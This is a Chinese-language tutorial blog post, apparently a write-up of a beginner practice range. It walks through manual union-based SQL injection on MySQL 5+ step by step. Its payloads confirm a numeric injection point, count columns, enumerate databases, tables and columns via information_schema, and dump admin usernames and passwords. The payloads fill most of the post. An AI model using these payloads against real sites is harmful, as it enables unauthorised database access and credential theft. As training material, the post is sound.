SQL注入 MySql5以上常规注入笔记

 以一个基础入门靶场为例,记录一下简单的一阶SQL手注操作以及针对MYSQL5以上版本的数据库信息语句构造。

0x01 注入点

因为这是一个简单的入门手注靶场,就不做过多详述。

一般的,先针对目标URL,观察下是数字型还是字符型注入。

http://59.63.200.79:8003/?id=1

很容易发现,这应该是一个数字型注入点。

构造payload,观察页面回显是否正常。

?id=1 and 1=2

在这里插入图片描述

发现的确符合预期的false逻辑执行,页面并没有能够正常回显。

0x02 判断字段数

构造payload

?id=1 order by 1

?id=1 order by 2

?id=1 order by 3

在这里插入图片描述

此时页面回显异常,说明当前表中有2个字段,即两列数据。进一步我们考虑利用union联合查询合并查询结果,替换成我们想要的信息,再次之前需要确认一下回显点。

构造payload

?id=1 and 1=2 union select 1,2#

因为这里union联合查询会合并两句select语句结果,我们需要让第一句查询逻辑出错。

在这里插入图片描述

通过图片可以确定回显点。

0x03 收集信息

这边我们仅关注当前数据库信息。

构造payload

?id=1 and 1=2 union select 1,version()#

在这里插入图片描述

可以看到是Mysql的5.5.53版本。

0X04 查询相关信息

在5以上的MySQL有一个名为information_schema的内置库。 这是保存有关DB服务器中存在的表和列的信息。 也就是说,它包含站点的所有表和列的名称。

因此我们可以分别构造payload如下来暴库、猜表、猜字段等

# 爆库
select 1,2,3,...,SCHEMA_NAME from information_schema.SCHEMATA	
# 猜表
select 1,2,3,...,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='目标库名'
# 猜字段	
select 1,2,3,...,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='目标表名'

在此基础上,我们根据测试出的注入点、字段数、回显位置构造URL。

爆库

?id=1 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1

在这里插入图片描述

因为这里只能显示一处信息,逐次改变limit位置显然很麻烦。

我们可以采用字符串拼接的方法,一次性爆出。

构造payload

?id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.SCHEMATA#

在这里插入图片描述

爆表

我们分别爆出maoshe、test两个库中的数据表。

构造payload

select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='maoshe'

在这里插入图片描述

可以看见maoshe库中有admin、dirs、news和xss四张表。

继续构造payload

select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='test'

在这里插入图片描述

这是一个空库。

爆字段

  • admin表

    构造payload

    ?id=1 and 1=2 union select 1,GROUP_CONCAT(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='admin' limit 0,1#
    

在这里插入图片描述

  • dirs表

    构造payload

    ?id=1 and 1=2 union select 1,GROUP_CONCAT(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='dirs' limit 0,1#
    

在这里插入图片描述

  • news表

    构造payload

    ?id=1 and 1=2 union select 1,GROUP_CONCAT(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='news' limit 0,1#
    

在这里插入图片描述

  • xss表

    ?id=1 and 1=2 union select 1,GROUP_CONCAT(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='xss' limit 0,1#
    

在这里插入图片描述

爆密码

比如针对admin表

构造payload

?id=1 and 1=2 union select 1,concat(username,'|',password) from admin limit 0,1#

一次性爆出所有信息,可以这样构造

?id=1 and 1=2 union select 1,group_concat(concat(username,'|',password)) from admin #

在这里插入图片描述

将username和password信息拼接在一起。

一次性爆出所有信息,可以这样构造

?id=1 and 1=2 union select 1,group_concat(concat(username,'|',password)) from admin #

在这里插入图片描述

当然这样还是有些麻烦,我们可以考虑编写一个自动化脚本来提交payload,爬取回显信息来完成自动化注入。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值